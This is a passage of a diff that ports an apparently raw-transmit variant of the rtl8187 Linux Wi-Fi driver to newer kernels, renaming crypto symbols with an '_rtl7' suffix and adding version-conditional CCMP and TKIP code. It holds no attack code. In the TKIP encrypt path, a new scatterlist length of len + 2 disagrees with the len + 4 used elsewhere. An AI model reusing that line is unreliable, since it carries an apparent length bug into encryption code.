irq_tx_tasklet; -#endif -// struct tasklet_struct irq_rx_tasklet; -// u8 dma_poll_mask; - //short tx_suspend; - - /* adhoc/master mode stuff */ -#if 0 - u32 *txbeacontail; - dma_addr_t txbeaconringdma; - u32 *txbeaconring; - int txbeaconcount; -#endif -// struct ieee_tx_beacon *beacon_buf; - //char *master_essid; -// dma_addr_t beacondmabuf; - //u16 master_beaconinterval; -// u32 master_beaconsize; - //u16 beacon_interval; - - u8 retry_data; - u8 retry_rts; - - struct work_struct reset_wq; - -}r8180_priv; - - -typedef enum{ - LOW_PRIORITY , - NORM_PRIORITY - } priority_t; - - -short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); - -u8 read_nic_byte(struct net_device *dev, int x); -u8 read_nic_byte_E(struct net_device *dev, int x); -u32 read_nic_dword(struct net_device *dev, int x); -u16 read_nic_word(struct net_device *dev, int x) ; -void write_nic_byte(struct net_device *dev, int x,u8 y); -void write_nic_byte_E(struct net_device *dev, int x,u8 y); -void write_nic_word(struct net_device *dev, int x,u16 y); -void write_nic_dword(struct net_device *dev, int x,u32 y); -void force_pci_posting(struct net_device *dev); - -void rtl8180_rtx_disable(struct net_device *); -void rtl8180_rx_enable(struct net_device *); -void rtl8180_tx_enable(struct net_device *); - -void rtl8180_disassociate(struct net_device *dev); -//void fix_rx_fifo(struct net_device *dev); -void rtl8185_set_rf_pins_enable(struct net_device *dev,u32 a); - -void rtl8180_set_anaparam(struct net_device *dev,u32 a); -void rtl8185_set_anaparam2(struct net_device *dev,u32 a); -void rtl8180_update_msr(struct net_device *dev); -int rtl8180_down(struct net_device *dev); -int rtl8180_up(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_set_chan(struct net_device *dev,short ch); -void write_phy(struct net_device *dev, u8 adr, u8 data); -void write_phy_cck(struct net_device *dev, u8 adr, u32 data); -void write_phy_ofdm(struct net_device *dev, u8 adr, u32 data); -void rtl8185_tx_antenna(struct net_device *dev, u8 ant); -void rtl8187_set_rxconf(struct net_device *dev); -#endif diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/.tmp_versions/r8187.mod rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/.tmp_versions/r8187.mod --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/.tmp_versions/r8187.mod 2006-06-22 01:40:15.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/.tmp_versions/r8187.mod 2008-08-12 13:11:32.000000000 -0400 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187.ko -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187_core.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_93cx6.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_wx.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225z2.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.o diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt.c 2006-06-05 22:57:56.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c 2008-08-12 13:11:32.000000000 -0400 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt_ccmp.c 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2008-08-12 13:11:32.000000000 -0400 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt.h 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h 2008-08-12 13:11:32.000000000 -0400 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt_tkip.c 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c 2008-08-12 13:11:32.000000000 -0400 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,23 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#else + sg_set_page(&sg, virt_to_page(pos), len + 2, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +416,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +428,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +476,30 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,33 +533,59 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[0].page = virt_to_page(hdr); sg[0].offset = offset_in_page(hdr); sg[0].length = 16; +#else + sg_set_page(&sg[0], virt_to_page(hdr), 16, offset_in_page(hdr)); 